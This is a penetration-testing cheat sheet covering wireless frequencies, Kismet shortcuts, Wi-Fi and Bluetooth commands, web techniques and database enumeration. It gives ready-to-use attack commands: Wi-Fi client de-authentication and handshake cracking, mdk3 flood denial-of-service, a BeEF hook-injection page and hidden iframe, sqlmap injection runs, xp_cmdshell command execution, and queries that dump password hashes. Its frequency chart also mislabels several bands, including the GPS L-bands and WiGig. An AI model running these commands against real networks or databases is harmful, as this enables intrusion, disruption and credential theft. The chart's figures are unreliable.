Wireless

Frequency Chart

| FREQUENCY-RANGE                                                     | CLASSIFICATION       |
----------------------------------------------------------------------------------------------
| 125-134 kHz (LF); 13.56 MHz (HF); 433,860-930Mhz (UHF)              | RFID                 |
| 315 MHz (N. Am); 433.92 MHz (Europe,Asia)                           | Keyless Entry        |
| 698-894 MHz; 1710-1755 MHz; 1850-1910 MHz;                          |                      |
| 2110-2155 MHz; 2300-2400 MHz (5G mid-band variant)                  | Cellular (US)        |
| 1176.45 Mhz - L1 Band; 1227.60 Mhz - L2 Band; 1575.42 MHz - L5 Band |                      | 
| 1381.05 MHz - L6 Band (with the GNSS expansion)                     | GPS/GNSS             |
| 1-2 GHz                                                             | L Band               |
| 868 MHz (Europe); 915 MHz (US,Australia); 2.4 GHz (worldwide)       | 802.15.4 (ZigBee)    |
| 2.4-2.483.5 GHz                                                     | 802.15.1 (Bluetooth) |
| 2.4 GHz                                                             | 802.11b/g/n (legacy) |
| 2.4 GHz; 5 GHz; 6 GHz -- 802.11ax Wi-Fi 6E and 802.11be Wi-Fi 7     | 802.11ac/ax/be WI-FI |
| 5.0-5.925 GHz                                                       | 802.11ac/ax Wi-Fi 5/6|
| 5.850-7.125 GHz                                                     | 802.11be Wi-Fi 7     |
| 24-100 GHz sub-THz                                                  | 802.11ad/ay WiGig    |
| 3.4-3.8 GHz; 24.25-29.1 GHz; 37-40 GHz                              | 5G mmWave (US)       |
| 4-8 GHz                                                             | C Band               |
| 12-18 GHz                                                           | Ku Band              |
| 18-26.5 GHz                                                         | K Band               |
| 26.5-40 GHz                                                         | Ka Band              |
| 40-75 GHz (Satelite Bands)                                          | Q/V Band             |
----------------------------------------------------------------------------------------------

Helpful RF websites

KISMET Command Reference

Here is a pocket reference guide.

| BINDING| ACTION                                   |
-----------------------------------------------------
| e      | List Kismet servers                      |
| h      | Help                                     |
| z      | Toggle full-screen view                  |
| n      | Name current network                     |
| m      | Toggle muting of sound                   |
| i      | View detailed information for network    |
| t      | Tag or untag selected network            |
| s      | Sort network list                        |
| g      | Group tagged networks                    |
| l      | Show wireless card power levels          |
| u      | Ungroup current group                    |
| d      | Dump printable strings                   |
| r      | Packet rate graph                        |
| L      | Lock channel hopping to selected channel |
| a      | View network statistics                  |
| H      | Return to normal channel hopping         |
| p      | Dump packet type                         |
| +/-    | Expand/collapse groups                   |
| f      | Follow network center                    |
| CTRL+L | Re-draw the screen                       |
| c      | Show clients in current network          |
| w      | Track alerts                             |
| Q      | Quit Kismet                              |
| x      | Close popup window                       |
-----------------------------------------------------

Linux WI-FI Commands

# Display wireless interface configuration
iwconfig

# List current state of wireless devices
rfkill list

# Turn on wireless interface
rfkill unblock all

# Monitor all interfaces
airodump -ng <INTERFACE_NAME>

# Connect to unsecured Wi-Fi
iwconfig ath0 essid <BSSID> 
ifconfig ath0 up 
dhclient ath0

# Connect to WEP Wi-Fi network
iwconfig ath0 essid <BSSID> key <WEB_KEY> 
ifconfig ath0 up 
dhclient ath0

# Connect to WPA-PSK Wi-Fi network
iwconfig ath0 essid <BSSID> 
ifconfig ath0 up 
wpa_supplicant -B -i ath0 -c wpa-psk.conf 
dhclient ath0

Linux Bluetooth

# Turn on Bluetooth interface
hciconfig <INTERFACE_NAME> up

# Scan for Bluetooth devices
hcitool -i <INTERFACE_NAME> scan --flush -all

# List open services
sdptool browse <INTERFACE_NAME>

# Set as discoverable
hciconfig <INTERFACE_NAME> name "<BLUETOOTH_NAME>" class 0x520204  
piscan

# Clear pand sessions
pand -K

Linux WI-FI Testing

# Stop monitor mode interface
airmon-ng stop <INTERFACE_NAME>

# Start monitor mode interface
airmon-ng start <INTERFACE_NAME>
iwconfig <INTERFACE_NAME> channel <CHANNEL>

# Capture traffic
airodump-ng -c <CHANNEL> --bssid <BSSID> -w file <OUTPUT_PATH>

# Force client de-auth
aireplay-ng -0 10 -a <BSSID> -c <VICTIM_MAC> <INTERFACE_NAME>

# Brute force handshake

# WPA-PSK
aircrack-ng -w <WORDLIST_PATH> <CAPTURED_HANDSHAKE_FILE_PATH>
# EAP-MD5
eapmd5pass -r <CAPTURED_HANDSHAKE_FILE_PATH> -w <WORDLIST_PATH>

WI-FI DOS Attacks

# Auth Flood
mdk3 <INTERFACE_NAME> a -a <BSSID>

# Beacon Flood
mdk3 <INTERFACE_NAME> b -c <CHANNEL>

Web

User Agent String Keywords

Keywords found in user agent strings aid in identifying the visiting operating system type.

# iPhone -- Apple iPhone (legacy)
Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/102.0.5005.87 Mobile/15E148 Safari/604.1
Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1

# Android 12 -- Android Phone
Mozilla/5.0 (Linux; Android 12; SM-A205U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.78 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Mobile Safari/537.36

# Windows NT 10.0 -- Windows Computer
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36

# Macintosh -- Mac OS Computer
Mozilla/5.0 (Macintosh; Intel Mac OS X 12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36

# iPad
Mozilla/5.0 (iPad; CPU OS 17_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1

# Linux Computer - X11
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36

HTML Beef Hook Technique

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN">
 
<html>
<head>
<title><WEBSITE_TITLE></title>
<script>
var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + ':<PORT>/<URI_TO_HOOK.JS> "
type="text/javascript"><\/script>';
document.write(commandModuleStr);
</script>
 
</head>
<WEBSITE_CONTENT>
</html>

Embedded IFrame

<iframe src="<URI/URL>" width="0" height="0" frameborder="0" tabindex="-1" title="empty" style=visibility:hidden;display:none"> </iframe>

Firefox Type Conversions

# ASCII -> Base64
javascript:btoa("<ASCII_STRING>")

# Base64 -> ASCII
javascript:atob("<BASE64>")

# ASCII -> URI
javascript:encodeURI("<ASCII_STRING>")

# URI -> ASCII
javascript:decodeURI("<ENCODED_URI>")

WGET Capture Session Token

wget -q --save-cookies=<OUTPUT_PATH> --keep-session-cookies --post-data="username:<USERNAME>&password=<PASSWORD>&Login=Login" <LOGIN_URL>

cURL

# Grab headers and spoof user agent
curl -I -X HEAD -A "Mozilla/5.0 (compatible; MSIE 7.01; Windows NT 5.0)" <URL>

# Scrape site after login
curl -u <USERNAME>:<PASSWORD> -o <OUTPUT_FILE> <URL>

# FTP
curl ftp://<USERNAME>:<PASSWORD>@<URL>/<DIRECTORY>

# Sequential lookup
curl http://<URL>/<FILE_PATH>[1-10].txt

Automated Web Screenshots (WitnessMe)

WitnessMe is a tool that takes screenshots of webpages using Pyppeteer.

# Update packages

apt-get update

# Install Docker
apt-get install docker.io

# Installation
```bash
docker pull byt3bl33d3r/witnessme

# Get image ID
docker images

# Run docker container mounting /transfer to 
# the current directory on the host machine
docker run -it --entrypoint=/bin/sh -v $(pwd):/transfer <IMAGE_ID>

# Run and execute scan
witnessme screenshot <IP_CIDR> -p <PORT>,<PORT>

# cd into created scan folder
cd <FILE_PATH>

# Copy screenshotted files back to host machine current working directory
cp *.png /transfer/

SQLMAP

# GET request
sqlmap.py -u "http://<URL>?id=1&str=val"

# POST request
sqlmap.py -u "http://<URL>" --data="id=1&str=val"

# SQL injection against specific parameter with DB type specified
sqlmap.py -u "http://<URL>" --data="id=1&str=val" -p "id" -b --dbms="<mssql|mysql|oracle|postgres>"

# SQL injection on authenticated site
# Login and note cookie value (cookie1=val1, cookie2=val2)
sqlmap.py -u "http://<URL>" --data="id=1&str=val" -p "id" --cookie="cookie1=val1;cookie2=val2"

# SQL injection and collect DB version, name, and user
sqlmap.py -u "http://<URL>" --data="id=1&str=val" -p "id" -b --current-db --current-user

# SQL injection and get tables of DB=testdb
sqlmap.py -u "http://<URL>" --data="id=1&str=val" -p "id" --tables -D "testdb"

# SQL injection and get columns of user table
sqlmap.py -u "http://<URL>" --data="id=1&str=val" -p "id" --columns -T "users"

Databases

MSSQL

-- DB version
SELECT @@version

-- Detailed version info
EXEC xp_msver

-- Run OS command
EXEC master..xp_cmdshell 'net user‘
-- Hostname and IP
SELECT HOST_NAME()

-- Current DB
SELECT DB_NAME()

-- List DBs
SELECT name FROM master..sysdatabases;

-- Current user
SELECT user_name()

-- List users
SELECT name FROM master..syslogins

-- List tables
SELECT name FROM master..sysobjects WHERE xtype='U';

-- List columns
SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='mytable');

-- System table containing info on all tables
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

-- List all tables/columns
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable')

-- Password hashes (2005)
SELECT name, password_hash FROM master.sys.sql_logins

POSTGRES

-- DB version
SELECT version();

-- Hostname & IP
SELECT inet_server_addr();

-- Current DB
SELECT current_database();

-- List DBs
SELECT datname FROM pg_database;

-- Current user
SELECT user;

-- List users
SELECT username FROM pg_user;

-- List password hashes
SELECT username,passwd FROM pg_shadow;

-- List columns
SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public')

-- List tables
SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r',") AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND pg_catalog.pg_table_is_visible(c.oid)

MYSQL

-- DB version
SELECT @@version;

-- Hostname & IP
SELECT @@hostname;

-- Current DB
SELECT database();

-- List DBs
SELECT distinct(db) FROM mysql.db;

-- Current user
SELECT user();

-- List users
SELECT user FROM mysql.user;

-- List password hashes
SELECT host,user,password FROM mysql.user;

-- List all tables & columns
SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'

ORACLE

-- DB version
SELECT * FROM v$version;
SELECT version FROM v$instance;

-- Current DB
SELECT instance_name FROM v$instance;
SELECT name FROM v$database;

-- List DBs
SELECT DISTINCT owner FROM all_tables;

-- Current user
SELECT user FROM dual;

-- List users
SELECT username FROM all_users ORDER BY username;

-- List columns
SELECT column_name FROM all_tab_columns;

-- List tables
SELECT table_name FROM all_tables;

-- List password hashes
SELECT name, password, astatus FROM sys.user$;

-- List DBAs
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES';